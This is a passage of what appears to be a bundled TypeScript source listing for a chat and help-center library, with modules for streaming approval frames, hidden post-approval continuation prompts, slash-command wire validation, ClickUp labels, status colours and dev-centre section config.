(`decision_resolved`) followed\n *     by EOF.\n *\n * This helper drains the stream defensively (reads all remaining bytes\n * after the leading frame so the server-side `composed.start()` doesn't\n * hang on a half-closed connection) and returns the first decoded\n * `decision_resolved` frame. Throws on:\n *   - Empty body\n *   - First frame is not `decision_resolved`\n *   - Malformed JSON before the first `\\0`\n *\n * Migration note: `use-embedded-chat.ts` still inlines the full decoder\n * including phase-2 text + trailing usage parsing. A future refactor\n * could move the leading-frame loop here and have the chat shell\n * compose with that — out of scope for this PR.\n */\n\nexport interface DecisionResolvedFrame {\n  kind: 'decision_resolved'\n  ok: boolean\n  action: 'approved' | 'rejected'\n  toolName?: string\n  willAutoContinue?: boolean\n  proposalId?: string\n  /** Approve-path result envelope. `mirror_synced=false` means the\n   *  HubSpot REST call succeeded but the local mirror upsert lagged —\n   *  callers should optimistic-render and schedule a delayed refetch. */\n  result?: {\n    ticket_id?: string\n    status?: string | null\n    mirror_synced?: boolean\n  } | null\n  receiptText?: string\n}\n\n/**\n * Read the leading `decision_resolved` frame from a confirm-tool SSE\n * response. Drains the stream to end-of-file before resolving so the\n * server doesn't sit on a half-closed socket.\n *\n * @throws {Error} when the body is empty, the first frame is not\n *   `decision_resolved`, or the leading JSON is malformed.\n */\nexport async function readLeadingDecisionFrame(\n  response: Response,\n): Promise<DecisionResolvedFrame> {\n  const reader = response.body?.getReader()\n  if (!reader) throw new Error('readLeadingDecisionFrame: response has no body')\n\n  const decoder = new TextDecoder()\n  let buffer = ''\n  let frame: DecisionResolvedFrame | null = null\n\n  try {\n    while (true) {\n      const { done, value } = await reader.read()\n      if (done) break\n      buffer += decoder.decode(value, { stream: true })\n\n      // Try to extract the leading frame ASAP — we only need the first\n      // chunk that contains a `\\0`. Everything after is either phase-2\n      // text (unexpected for tickets-UI but tolerated) or end-of-stream.\n      if (frame === null) {\n        const nullIdx = buffer.indexOf('\\0')\n        const recIdx = buffer.indexOf('\\x1E')\n        // If `\\x1E` (text-body marker) shows up before `\\0`, the server\n        // emitted phase-2 without a leading frame — protocol violation.\n        if (recIdx !== -1 && (nullIdx === -1 || recIdx < nullIdx)) {\n          throw new Error(\n            'readLeadingDecisionFrame: text-body sentinel arrived before leading frame',\n          )\n        }\n        if (nullIdx !== -1) {\n          const raw = buffer.slice(0, nullIdx)\n          let parsed: unknown\n          try {\n            parsed = JSON.parse(raw)\n          } catch (err) {\n            throw new Error(\n              `readLeadingDecisionFrame: leading JSON parse failed: ${(err as Error).message}`,\n            )\n          }\n          const obj = parsed as Record<string, unknown>\n          if (obj?.kind !== 'decision_resolved') {\n            throw new Error(\n              `readLeadingDecisionFrame: expected decision_resolved, got kind=${String(obj?.kind)}`,\n            )\n          }\n          frame = normalizeDecisionFrame(obj)\n          // Continue draining so the server-side stream closes cleanly.\n          buffer = buffer.slice(nullIdx + 1)\n        }\n      }\n      // Past the leading frame: just consume + discard the remainder.\n      // Don't allocate a parser for phase-2 text; the tickets-UI path\n      // is supposed to be a single frame.\n    }\n  } finally {\n    // Release the lock even if we threw mid-loop.\n    try {\n      reader.releaseLock()\n    } catch {\n      // No-op: reader may already be released if the stream ended cleanly.\n    }\n  }\n\n  if (frame === null) {\n    throw new Error('readLeadingDecisionFrame: stream closed before leading frame arrived')\n  }\n  return frame\n}\n\nfunction normalizeDecisionFrame(obj: Record<string, unknown>): DecisionResolvedFrame {\n  const action = obj.action === 'rejected' ? 'rejected' : 'approved'\n  const result = (obj.result ?? null) as DecisionResolvedFrame['result']\n  return {\n    kind: 'decision_resolved',\n    ok: obj.ok === true,\n    action,\n    ...(typeof obj.toolName === 'string' ? { toolName: obj.toolName } : {}),\n    ...(obj.willAutoContinue === true ? { willAutoContinue: true } : {}),\n    ...(typeof obj.proposalId === 'string' ? { proposalId: obj.proposalId } : {}),\n    ...(result ? { result } : {}),\n    ...(typeof obj.receiptText === 'string' ? { receiptText: obj.receiptText } : {}),\n  }\n}\n","/**\n * Shared cross-process contract for the post-approval auto-continuation\n * directive. The client emits a hidden synthetic user message starting\n * with `AUTO_CONTINUATION_DIRECTIVE_PREFIX`; the server's `decideRoute`\n * matches that exact prefix on the RAW user query (pre-rewriter) and\n * hard-disables tools for the directive turn, forcing the LLM to\n * respond with prose follow-up questions instead of duplicating the\n * just-approved tool call.\n *\n * Single source of truth — both server-side `decideRoute` AND\n * client-side `autoContinueRef` import from here. Drifting the literal\n * on either side would silently break the duplicate-ticket guard\n * (server would route normally with tools wired; LLM would propose the\n * same tool again).\n *\n * `toolName` is typed as `string` (not a const-union) so the lib stays\n * generic across hub deployments — host code that has a sharper\n * `KnownWriteToolName` type can pass that through; this builder only\n * cares about a handful of string-equal branches.\n */\n\nexport const AUTO_CONTINUATION_DIRECTIVE_PREFIX = '[internal-auto-continuation]'\n\nexport interface BuildAutoContinuationOptions {\n  ticketId?: string\n  /** Reading of `args.status` on the just-approved tool call. Used to\n   *  branch the directive between \"post-create diagnostic Qs\",\n   *  \"post-close resolution ask\", and \"post-update acknowledgement\". */\n  status?: string\n}\n\n/**\n * Build the directive text the client sends as a HIDDEN user message\n * after every successful Approve. The LLM treats it as the user\n * speaking; the chat shell filters it out at render time.\n *\n * Branch logic mirrors `TICKET_TOOL_PROTOCOL` §1a/§1b — keep them in\n * sync: the directive tells the model WHICH section to follow.\n */\nexport function buildAutoContinuationDirective(\n  toolName: string,\n  opts: BuildAutoContinuationOptions = {},\n): string {\n  const ticketRef = opts.ticketId ? ` (ticket #${opts.ticketId})` : ''\n  const ticketHash = opts.ticketId ? ` #${opts.ticketId}` : ''\n  const isClose = toolName === 'update_ticket' && opts.status?.toUpperCase() === 'CLOSED'\n  if (toolName === 'create_ticket') {\n    return (\n      `${AUTO_CONTINUATION_DIRECTIVE_PREFIX} The user just approved create_ticket${ticketRef}. ` +\n      `Per ticket-protocol §1a, ask 2-4 SHORT, issue-specific diagnostic follow-up questions ` +\n      `tailored to the symptom they reported in their original message. When they answer, ` +\n      `propose an update_ticket with content_addendum carrying a clean Q&A digest. ` +\n      `Do NOT call any tool in this turn — just write the questions as prose.`\n    )\n  }\n  if (isClose) {\n    return (\n      `${AUTO_CONTINUATION_DIRECTIVE_PREFIX} The user just approved closing ticket${ticketHash}. ` +\n      `Per ticket-protocol §1b, ask ONE short question: \"How was this resolved? I'll add it ` +\n      `to the ticket as a closing note.\" Phrase kindly even if the user was curt. When they ` +\n      `answer, propose an update_ticket with content_addendum=\"[Resolution] <their words>\". ` +\n      `Do NOT call any tool in this turn — just write the prose ask.`\n    )\n  }\n  return (\n    `${AUTO_CONTINUATION_DIRECTIVE_PREFIX} The user just approved update_ticket${ticketHash}. ` +\n    `Acknowledge the change in ONE short sentence; if anything else looks like it needs ` +\n    `attention, ask. Do NOT call any tool in this turn.`\n  )\n}\n","/**\n * `flattenAssistantContent` — coerce a chat message's `content` field\n * (string OR `MessageSegment[]`) into a plain string for wire transport.\n *\n * Background: useChat populates assistant messages with a structured\n * segment array as the streamed SSE arrives (text segments, approval\n * cards, tool_execution blocks, thinking blocks). The local React\n * state holds `content: MessageSegment[]` for those turns. When the\n * client serializes the conversation back to the server for the NEXT\n * turn, a naive `typeof content === 'string' ? content : ''` strip-\n * to-empty silently drops every post-approve receipt, every Sonnet-\n * streamed answer, and every diagnostic Q — Anthropic receives\n * `assistant: \"\"` for those turns and has no context to follow.\n *\n * The function:\n *   1. Returns plain strings as-is.\n *   2. For arrays, joins every `text`-typed segment's `text` field\n *      with `\\n\\n` separators. Non-text segments (approval_request,\n *      tool_execution, thinking) have no LLM-visible textual content\n *      and are intentionally skipped — they shouldn't bloat the\n *      request body.\n *   3. Returns `''` for anything else (null, undefined, unknown shape).\n */\nexport function flattenAssistantContent(raw: unknown): string {\n  if (typeof raw === 'string') return raw\n  if (!Array.isArray(raw)) return ''\n  const parts: string[] = []\n  for (const seg of raw) {\n    if (seg && typeof seg === 'object' && (seg as { type?: string }).type === 'text') {\n      const t = (seg as { text?: unknown }).text\n      if (typeof t === 'string' && t.length > 0) parts.push(t)\n    }\n  }\n  return parts.join('\\n\\n')\n}\n","/**\n * Wire glue + canonical const for the per-message `scrollAnchor`\n * render hint.\n *\n * The actual `SCROLL_ANCHOR` const + `ScrollAnchor` type lives in\n * `../types/message.types.ts` (it's part of the `Message` shape). This\n * module re-exports them alongside the wire-key + a `parseScrollAnchor`\n * narrower so server-side code that emits the metadata leading frame and\n * client-side code that consumes it agree on the literal value AND the\n * key on the wire frame.\n *\n * Consumed by:\n *   - SERVER: emits the field into the metadata leading frame\n *     (`...(scrollAnchor ? { [SCROLL_ANCHOR_WIRE_KEY]: x } : {})`).\n *   - CLIENT: parses each leading frame and feeds the value through\n *     `parseScrollAnchor` before storing it for the chat-message-list\n *     to consume. Malformed wire values return `null` and are filtered\n *     by metadata-merge logic — they never clobber a prior value.\n */\n\nimport { SCROLL_ANCHOR, type ScrollAnchor } from '../types/message.types'\n\nexport { SCROLL_ANCHOR, type ScrollAnchor }\n\n/** Wire-frame key for the `scrollAnchor` field on the metadata leading\n *  frame. Used as a computed property name on both the emit side\n *  (server) and the parse side (client) so a rename is one-file. */\nexport const SCROLL_ANCHOR_WIRE_KEY = \"scrollAnchor\" as const\n\n/** Narrow + validate a wire-supplied value. Returns the literal when\n *  it matches one of the registry's known values; returns `null`\n *  otherwise (which the metadata-merge null-skip filter then drops). */\nexport function parseScrollAnchor(raw: unknown): ScrollAnchor | null {\n  return raw === SCROLL_ANCHOR.TOP || raw === SCROLL_ANCHOR.BOTTOM ? raw : null\n}\n","/**\n * Lib-side portable subset of the hub's `lib/utils/slash-dispatch-utils.ts`.\n *\n * The full hub file owns the SERVER-SIDE parser/dispatcher (depends on\n * `slash-commands-config`, `slash-commands-static`, `doc-source-config-utils`,\n * `chat-admin-types`, `rag-table-config`) which stays hub-side.\n *\n * What MIGRATES here is the wire contract + the small text helpers consumed\n * by chat surfaces in the lib + the hub UI:\n *   - `WireCommandOverride`        — wire-shape (chat request body)\n *   - `parseWireCommandOverride`   — wire validator\n *   - `CommandOverride`            — server-built dispatch result type\n *     (presentation typed as `string` here; the hub narrows via its own\n *     `SlashCommandPresentation` union)\n *   - `extractEntityIdFilter`      — `CommandOverride` → narrowed filter\n *   - `sanitizeTitleForChat`       — collapse control chars in titles\n *   - `formatSingularLookupInvocation` — `/cmd \"value\"` builder\n *   - `buildDiscussAddendum`       — server-side Discuss addendum prose\n *\n * Validation constants (regex + length caps) are duplicated here verbatim\n * to keep the lib's wire validator self-contained.\n */\n\nconst WIRE_TABLE_ID_REGEX = /^[a-z][a-z0-9-]*$/\nconst WIRE_ID_REGEX = /^[A-Za-z0-9._:/-]+$/\nconst WIRE_TABLE_ID_MAX = 60\nconst WIRE_ID_MAX = 200\nconst WIRE_QUERY_MAX = 2000\n\n/** Wire-supplied `CommandOverride` — the subset of fields a client (chat\n *  shell) is allowed to send on the request body. Excludes\n *  `systemPromptAddendum` by construction: addendum injection is a\n *  Rule-5b bypass vector, so we never accept it from the wire. */\nexport interface WireCommandOverride {\n  entityIdFilter?: { tableId: string; id: string }\n  retrievalQueryOverride?: string\n}\n\n/**\n * Parse + validate a wire-supplied `commandOverride` from the chat\n * request body. Returns the validated subset OR `null` if the input is\n * missing / malformed in every field.\n */\nexport function parseWireCommandOverride(raw: unknown): WireCommandOverride | null {\n  if (!raw || typeof raw !== 'object') return null\n  const out: WireCommandOverride = {}\n  const r = raw as Record<string, unknown>\n\n  if (r.entityIdFilter && typeof r.entityIdFilter === 'object') {\n    const f = r.entityIdFilter as Record<string, unknown>\n    if (\n      typeof f.tableId === 'string'\n      && f.tableId.length > 0\n      && f.tableId.length <= WIRE_TABLE_ID_MAX\n      && WIRE_TABLE_ID_REGEX.test(f.tableId)\n      && typeof f.id === 'string'\n      && f.id.length > 0\n      && f.id.length <= WIRE_ID_MAX\n      && WIRE_ID_REGEX.test(f.id)\n    ) {\n      out.entityIdFilter = { tableId: f.tableId, id: f.id }\n    }\n  }\n  if (\n    typeof r.retrievalQueryOverride === 'string'\n    && r.retrievalQueryOverride.length > 0\n    && r.retrievalQueryOverride.length <= WIRE_QUERY_MAX\n  ) {\n    out.retrievalQueryOverride = r.retrievalQueryOverride\n  }\n  if (out.entityIdFilter === undefined && out.retrievalQueryOverride === undefined) {\n    return null\n  }\n  return out\n}\n\n/**\n * Sanitize a free-text title for use inside a chat-visible string:\n * collapse control chars (\\r \\n \\t) to single spaces and trim. Defends\n * against a row title containing embedded newlines (which would split\n * the rendered prompt across visible lines + survive into ILIKE in a\n * confusing way) and tab/CR artifacts from sloppy imports.\n */\nexport function sanitizeTitleForChat(value: string | null | undefined): string {\n  return (value ?? '').replace(/[\\r\\n\\t]+/g, ' ').trim()\n}\n\n/**\n * Compose a singular-lookup slash invocation as the user-visible chat\n * message: `/<cmd> \"<value>\"` (or `/<cmd>` when value is empty).\n *\n * SINGLE SOURCE OF TRUTH for the quoting convention `parseSlashCommand`\n * consumes: outer `\"`-pair triggers `singularLookup`; unquoted args run\n * FTS; empty args browse. Internal `\"` chars are backslash-escaped so\n * the visible string is paste-able / re-runnable.\n */\nexport function formatSingularLookupInvocation(cmdId: string, value?: string | null): string {\n  // Escape `\\` BEFORE `\"` — otherwise a value ending in `\\` survives the\n  // `\"`-escape pass and, when wrapped in `\"...\"`, the trailing `\\\"`\n  // becomes a literal `\"` to a parser that processes backslash escapes,\n  // breaking the close quote. CodeQL's `js/incomplete-sanitization` fires\n  // on the previous one-pass `\\\"` escape for exactly this reason.\n  const safe = sanitizeTitleForChat(value)\n    .replace(/\\\\/g, '\\\\\\\\')\n    .replace(/\"/g, '\\\\\"')\n  return safe ? `/${cmdId} \"${safe}\"` : `/${cmdId}`\n}\n\n/** Command-override structure passed to `buildChatContext.opts.commandOverride`. */\nexport interface CommandOverride {\n  retrievalScope?: string[]\n  systemPromptAddendum?: string\n  retrievalQueryOverride?: string | null\n  /** Singular-item lookup. When set, retrieval bypasses FTS and queries the\n   *  named table directly via ILIKE on the matchFields. */\n  entityLookup?: {\n    tableId: string\n    value: string\n    matchFields: string[]\n  }\n  /** Singular row by primary key. Used by the inline object-card\n   *  \"Discuss\" action — the client knows the exact row id from a prior\n   *  chip. Higher precedence than `entityLookup` (route enforces) and\n   *  `retrievalQueryOverride`. The retrieval layer still runs the table's\n   *  `searchFilter` so privacy invariants hold. */\n  entityIdFilter?: {\n    tableId: string\n    id: string\n  }\n  /** \"Browse\" bypass for bare slash list commands. The search layer\n   *  treats this as \"skip FTS — return rows from these tableIds ordered\n   *  by the configured `primaryDateColumn` DESC\". */\n  browseScope?: string[]\n  /** Presentation hint propagated from the slash command. Hub narrows to\n   *  its `SlashCommandPresentation` union; lib leaves as `string` for\n   *  decoupling. */\n  presentation?: string\n}\n\n/**\n * Resolve the wire `entityIdFilter` from a `CommandOverride`, optionally\n * narrowed to a specific `tableId`. Returns the validated `{ tableId, id }`\n * pair only when both fields are present, non-empty, and (when an expected\n * tableId is passed) match. Returns `null` otherwise.\n */\nexport function extractEntityIdFilter(\n  override: CommandOverride | null | undefined,\n  expectedTableId?: string,\n): { tableId: string; id: string } | null {\n  const f = override?.entityIdFilter\n  if (!f) return null\n  const tableId = typeof f.tableId === 'string' ? f.tableId : ''\n  const id = typeof f.id === 'string' ? f.id : ''\n  if (!tableId || !id) return null\n  if (expectedTableId && tableId !== expectedTableId) return null\n  return { tableId, id }\n}\n\n/**\n * Server-only synthesizer for the Discuss-action system-prompt addendum.\n * Called by the chat route AFTER `parseWireCommandOverride` accepts an\n * `entityIdFilter` — the addendum text is composed from server-trusted\n * values (the row's tableId + id) so a malicious client can't inject\n * arbitrary prompt content.\n */\nexport function buildDiscussAddendum(args: { tableId: string; id: string }): string {\n  const idTag = args.id.length > 24 ? args.id.slice(0, 24) + '…' : args.id\n  return (\n    `Ask drill-in for row id=\"${args.id}\" in table \"${args.tableId}\". Focus the ` +\n    `answer on this single record. If retrieval returns 0 rows (privacy ` +\n    `filter), say so plainly per Rule 5b.\\n\\n` +\n    `OPEN with the inline card on the FIRST line, immediately followed by ` +\n    `the chip and a mono-font id tag — no prose before the card:\\n` +\n    `    [card://<type>:${args.id}] [N] \\`${args.tableId} · ${idTag}\\`\\n` +\n    `Use the EXACT <type> from the row's <document type=\"...\" id=\"${args.id}\"> tag.\\n\\n` +\n    `SURFACE EVERY FIELD PRESENT in the retrieved record — the user already ` +\n    `knows the title from the card; the value of Ask is the BODY (description, ` +\n    `status, vote counts, dates, linked URLs, …). Walk each non-empty field. ` +\n    `Don't invent fields, don't hallucinate values, silently omit absent fields.\\n\\n` +\n    `FORMAT: card+chip+id-tag opener, then ONE framing sentence, then a compact ` +\n    `bulleted \"**Field** — value\" list. Don't restate fields already in the list.`\n  )\n}\n","/**\n * ClickUp custom_item_id → human-readable label resolver.\n *\n * Lib-side subset of the hub's `lib/utils/clickup-task-type-utils.ts`.\n * The hub file also exports delivery / workspace slug helpers used by\n * the sync engine; only the chat-surfaced label resolver migrates here\n * because chat-inline cards and activity feeds need it.\n *\n * Reference: ClickUp's standard task types (custom_item_id values):\n *   null/1000=Task, 1001=Milestone, 1002=Recurring, 1003=Subtask,\n *   1004=Form, 1006=Plan, 1007=Strategy, 1008=Bug, 1009=Request,\n *   1010=Feature, 1011=Story, 1012=Epic, 1013=Component, 1014=Initiative.\n */\n\nexport const CUSTOM_ITEM_ID = {\n  TASK: 1000,\n  MILESTONE: 1001,\n  RECURRING: 1002,\n  SUBTASK: 1003,\n  FORM: 1004,\n  PLAN: 1006,\n  STRATEGY: 1007,\n  BUG: 1008,\n  REQUEST: 1009,\n  FEATURE: 1010,\n  STORY: 1011,\n  EPIC: 1012,\n  COMPONENT: 1013,\n  INITIATIVE: 1014,\n} as const\n\n/**\n * Display name for a ClickUp task type — used in chat-inline cards and\n * activity feeds where the type badge would otherwise show a numeric ID.\n *\n * Returning `null` for unknown IDs lets callers fall back to a generic\n * \"Task\" affordance rather than printing `task-1100` or similar.\n */\nexport function getTaskTypeLabel(\n  customItemId: number | null | undefined,\n): string | null {\n  switch (customItemId) {\n    case CUSTOM_ITEM_ID.TASK:       return 'Task'\n    case CUSTOM_ITEM_ID.MILESTONE:  return 'Milestone'\n    case CUSTOM_ITEM_ID.RECURRING:  return 'Recurring'\n    case CUSTOM_ITEM_ID.SUBTASK:    return 'Subtask'\n    case CUSTOM_ITEM_ID.FORM:       return 'Form'\n    case CUSTOM_ITEM_ID.PLAN:       return 'Plan'\n    case CUSTOM_ITEM_ID.STRATEGY:   return 'Strategy'\n    case CUSTOM_ITEM_ID.BUG:        return 'Bug'\n    case CUSTOM_ITEM_ID.REQUEST:    return 'Request'\n    case CUSTOM_ITEM_ID.FEATURE:    return 'Feature'\n    case CUSTOM_ITEM_ID.STORY:      return 'Story'\n    case CUSTOM_ITEM_ID.EPIC:       return 'Epic'\n    case CUSTOM_ITEM_ID.COMPONENT:  return 'Component'\n    case CUSTOM_ITEM_ID.INITIATIVE: return 'Initiative'\n    default:                         return null\n  }\n}\n","/**\n * Status color-scheme resolver used by chat-adjacent badges (StatusBadge\n * components rendering job, ClickUp task, and log-level statuses).\n *\n * Lib-side subset of the hub's `lib/utils/agent-status-message.ts`. The\n * hub file also carries CSS-class resolvers + an `AgentStatusMessage`\n * builder for the SSE-status surface; those live hub-side because they\n * reference hub-only ODS class names. This function returns the abstract\n * color scheme name only — the consuming `StatusBadge` (in this lib)\n * maps it to concrete colors.\n */\n\nexport type ColorScheme = 'success' | 'error' | 'warning' | 'cyan' | 'default'\n\n/**\n * Map a status to a color scheme name for StatusBadge components.\n * Supports job/processing statuses, ClickUp task statuses, and log levels.\n */\nexport function getStatusColorScheme(status: string): ColorScheme {\n  const s = status?.toLowerCase() || ''\n\n  // Exact matches first (most common)\n  switch (status) {\n    case 'completed':\n    case 'success':\n    case 'active':          // review cycles, feature flags, etc.\n      return 'success'\n    case 'failed':\n    case 'failure':\n    case 'cancelled':\n    case 'error':\n      return 'error'\n    case 'running':\n    case 'processing':\n    case 'closed':          // review cycles past their active window\n      return 'cyan'\n    case 'pending':\n    case 'warning':\n      return 'warning'\n    case 'draft':           // review cycles not yet opened to reviewers\n    case 'info':\n      return 'default'\n  }\n\n  // Partial matches for ClickUp-style statuses (Complete, Done, Working, etc.)\n  if (s.includes('complete') || s.includes('done')) return 'success'\n  if (s.includes('review')) return 'cyan'\n  if (s.includes('working') || s.includes('progress')) return 'warning'\n  if (s.includes('blocked') || s.includes('failed')) return 'error'\n\n  return 'default'\n}\n","/**\n * Unified URL builders for the third-party app deep-links used by chat\n * surfaces (chip clicks, inline-card tracking rows).\n *\n * Lib-side subset of the hub's `lib/utils/external-app-urls.ts`. Today\n * it carries the ClickUp deep-link helper only — HubSpot and admin\n * routes stay hub-side because they're consumed exclusively by\n * hub-internal mappers.\n */\n\nconst CLICKUP_APP_BASE = 'https://app.clickup.com'\n\n/** ClickUp task detail page in the ClickUp UI. Returns `null` when the\n *  external id is missing so consumers don't end up with a\n *  `.../t/undefined` link. */\nexport function clickupTaskUrl(externalId: string | null | undefined): string | null {\n  if (!externalId) return null\n  return `${CLICKUP_APP_BASE}/t/${externalId}`\n}\n","/**\n * Canonical per-section metadata for the OpenFrame dev-center surfaces\n * (Roadmap / Bug-fixes & Enhancements / Releases / Onboarding Guides).\n *\n * One file co-locates every per-section value the openframe homepage\n * navigator card AND the destination full-page hero both consume —\n * icon, brief navigator description, longer hero paragraph, search\n * config (placeholder + paramKey), filter config (paramKey + options).\n *\n * Adding a 5th section is one edit here and zero edits across the\n * page files / navigator grid.\n *\n * EMBEDDER NOTE — `onboarding`:\n *   The `onboarding` entry is INERT on `hero`/`search`/`filter` because\n *   `/onboarding-guides` is owned by `OnboardingGuidesCatalogView` (a\n *   hub-side full-page view), not the shared `DevSectionView` chrome.\n *   This entry exists ONLY to drive the homepage navigator card. Any\n *   embedder iterating the registry must SKIP `onboarding` if they\n *   don't host the `/onboarding-guides` route — e.g.\n *   `Object.values(OPENFRAME_DEV_SECTIONS).filter(s => s.href !== '/onboarding-guides')`.\n *\n * SERVER-BUNDLE SAFETY:\n *   This module imports lucide-react icon components as JSX values but\n *   never RENDERS them at module load. Lib's tsup config places `utils/`\n *   in the server bundle (no `\"use client\"` banner), which is safe\n *   because component-function references don't execute on import.\n *   Precedent: `src/utils/platform-config.tsx` (also lucide imports,\n *   also server-bundle, also imported by route-page `metadata` exports).\n */\n\nimport { Map as MapIcon, Wrench, Rocket, GraduationCap, LifeBuoy, type LucideIcon } from 'lucide-react'\nimport { releaseStatusOptions } from '../../types'\nimport { DEV_SECTION_PARAM_KEYS, TICKET_OPEN_PARAM } from './dev-section-param-keys'\n\n// Roadmap status options — `as const` preserves readonly tuple typing\n// across the registry boundary.\nexport const ROADMAP_STATUS_OPTIONS = [\n  { value: 'all', label: 'All' },\n  { value: 'completed', label: 'Completed' },\n  { value: 'in_progress', label: 'In Progress' },\n] as const\n\n// Delivery (ClickUp custom item type) filter options. `Bug` and `Request`\n// are the ClickUp `custom_item_id` labels — 1008 / 1009.\nexport const DELIVERY_TASK_TYPE_OPTIONS = [\n  { value: 'all', label: 'All' },\n  { value: 'Bug', label: 'Bug-fix' },\n  { value: 'Request', label: 'Enhancement' },\n] as const\n\n// Ticket status filter for the Help Center. Lowercase wire values\n// match what `/api/chat/agent/find-ticket` accepts in `body.status`\n// (the route normalizes to lowercase + allowlists 'open' | 'closed'\n// before threading into `findTicketExecutor`'s `selfStatus` scope).\nexport const TICKET_STATUS_OPTIONS = [\n  { value: 'all', label: 'All' },\n  { value: 'open', label: 'Open' },\n  { value: 'closed', label: 'Closed' },\n] as const\n\nexport interface OpenframeDevSection {\n  /** Route href the navigator card and any internal cross-link composes. */\n  href: string\n  icon: LucideIcon\n  /** Brief copy for the homepage navigator card (≈50 char teaser). */\n  navigator: {\n    title: string\n    description: string\n  }\n  /** Longer copy for the destination page hero (≈120-150 char marketing paragraph). */\n  hero: {\n    title: string\n    description: string\n  }\n  /** Inline search bar configuration. */\n  search: {\n    /** Placeholder text shown in the search input. */\n    placeholder: string\n    /** URL search param the input writes on submit and the list reads on fetch. */\n    paramKey: string\n    /** Companion URL params torn down whenever the search commits EMPTY.\n     *  For params that deep-links set TOGETHER with the search (e.g. the\n     *  tickets `?ticket=<id>&search=<id>` pair from chat cards) — clearing\n     *  the search must clear the whole linked context, not leave a stale\n     *  companion param filtering the view. */\n    clearParamKeys?: readonly string[]\n  } | null\n  /** Filter pill row configuration. `null` when the section has no filter (e.g. onboarding-guides). */\n  filter: {\n    label: string\n    /** URL search param the pills write and the list reads. */\n    paramKey: string\n    /** The option value that maps to \"no filter applied\". When selected,\n     *  the URL param is removed instead of being set. Defaults to the\n     *  first option's value if omitted — explicit field guards against\n     *  brittleness if `options` is later reordered. */\n    defaultValue: string\n    options: readonly { value: string; label: string }[]\n  } | null\n}\n\nexport const OPENFRAME_DEV_SECTIONS = {\n  roadmap: {\n    href: '/roadmap',\n    icon: MapIcon,\n    navigator: {\n      title: 'Development Roadmap',\n      description: \"What we're building next — vote on upcoming features.\",\n    },\n    hero: {\n      title: 'Development Roadmap',\n      description:\n        \"See what's in flight, what's planned, and what's up for community vote. The entire OpenFrame roadmap is public.\",\n    },\n    search: { placeholder: 'Search roadmap items...', paramKey: DEV_SECTION_PARAM_KEYS.search },\n    filter: { label: 'Status', paramKey: DEV_SECTION_PARAM_KEYS.status, defaultValue: 'all', options: ROADMAP_STATUS_OPTIONS },\n  },\n  delivery: {\n    href: '/bug-fixes-and-enhancements',\n    icon: Wrench,\n    navigator: {\n      title: 'Bug-fixes & Enhancements',\n      description: 'Recently shipped fixes and improvements.',\n    },\n    hero: {\n      title: 'Bug-fixes & Enhancements',\n      description:\n        'A running log of fixes and improvements shipping into OpenFrame — recently completed and actively in progress.',\n    },\n    search: { placeholder: 'Search tasks...', paramKey: DEV_SECTION_PARAM_KEYS.search },\n    filter: { label: 'Type', paramKey: DEV_SECTION_PARAM_KEYS.deliveryTaskType, defaultValue: 'all', options: DELIVERY_TASK_TYPE_OPTIONS },\n  },\n  releases: {\n    href: '/releases',\n    icon: Rocket,\n    navigator: {\n      title: 'Product Releases',\n      description: 'Version history and release notes.',\n    },\n    hero: {\n      title: 'Product Releases',\n      description:\n        'Version notes, change summaries, and stability tier (alpha / beta / stable) for every OpenFrame release.',\n    },\n    search: { placeholder: 'Search releases...', paramKey: DEV_SECTION_PARAM_KEYS.search },\n    filter: { label: 'Status', paramKey: DEV_SECTION_PARAM_KEYS.releaseStatus, defaultValue: 'all', options: releaseStatusOptions },\n  },\n  onboarding: {\n    href: '/onboarding-guides',\n    icon: GraduationCap,\n    navigator: {\n      title: 'Onboarding Guides',\n      description: 'Step-by-step product walkthroughs.',\n    },\n    hero: {\n      title: 'Getting Started',\n      description:\n        'Step-by-step walkthroughs for getting up and running with OpenFrame — from your first device deployment to advanced integrations.',\n    },\n    // `search` / `filter` are intentionally null — onboarding-guides\n    // uses a custom RAG-backed search dropdown (`useDocSearch`, not the\n    // local text filter `DevSectionView` ships) and dynamic section\n    // pills (counts vary with content, vs the static status options\n    // every other dev-center surface uses). Both controls are injected\n    // by the host via `DevSectionPage`'s `preControls` slot — same\n    // mechanism tickets uses for its \"Open a new ticket\" form.\n    search: null,\n    filter: null,\n  },\n  tickets: {\n    href: '/tickets',\n    icon: LifeBuoy,\n    navigator: {\n      title: 'Help Center',\n      description: 'Open and manage your support tickets.',\n    },\n    hero: {\n      title: 'Help Center',\n      description:\n        'Open new tickets, follow up on existing ones, and track responses from the team — all in one place.',\n    },\n    search: {\n      placeholder: 'Search your tickets...',\n      paramKey: DEV_SECTION_PARAM_KEYS.search,\n      // Chat-card deep links arrive as `?ticket=<id>&search=<id>`\n      // (buildTicketOpenHref) — clearing the search resets the whole\n      // linked context, drawer param included.\n      clearParamKeys: [TICKET_OPEN_PARAM],\n    },\n    filter: {\n      label: 'Status',\n      paramKey: DEV_SECTION_PARAM_KEYS.status,\n      defaultValue: 'all',\n      options: TICKET_STATUS_OPTIONS,\n    },\n  },\n} as const satisfies Record<string, OpenframeDevSection>\n\nexport type OpenframeDevSectionKey = keyof typeof OPENFRAME_DEV_SECTIONS\n","// Announcement system TypeScript types\nimport type { LegacyPlatform, PlatformFilter } from './platform';\nimport type { EntityPlatformAssoc } from './entity-platform';\n\n// Database Models\nexport interface Announcement {\n  id: string;\n  title: string;\n  description: string;\n  background_color: string;\n  icon_name?: string;\n  icon_url?: string;\n  /** Extra props for the main bar/icon */\n  icon_props?: Record<string, any>;\n  /** Hydrated entity_platforms associations (featured-first) — what the hub\n   *  DAL's attachPlatformsToRow(s) emits. No singular platform/platform_id. */\n  announcement_platforms?: EntityPlatformAssoc[];\n  is_active: boolean;\n  // CTA (Call-To-Action) fields\n  cta_enabled?: boolean;\n  cta_text?: string;\n  cta_icon_name?: string;\n  cta_show_icon?: boolean;\n  cta_url?: string;\n  cta_target?: '_self' | '_blank';\n  // Custom CTA button colors (hex codes like #FFFFFF). Optional.\n  cta_button_background_color?: string | null;\n  cta_button_text_color?: string | null;\n  /** Additional props to spread onto the CTA icon component */\n  cta_icon_props?: Record<string, any>;\n  created_at: string;\n  updated_at: string;\n  created_by?: string;\n  created_by_user?: {\n    id: string;\n    email: string;\n    full_name?: string;\n  };\n  announcement_assets?: AnnouncementAsset[];\n}\n\nexport interface AnnouncementAsset {\n  id: string;\n  announcement_id: string;\n  file_name: string;\n  file_url: string;\n  file_size: number;\n  mime_type: string;\n  upload_path: string;\n  created_at: string;\n}\n\n// API Request/Response Types\nexport interface CreateAnnouncementData {\n  title: string;\n  description: string;\n  background_color: string;\n  icon_name?: string;\n  icon_url?: string;\n  /** Extra props for the main bar/icon */\n  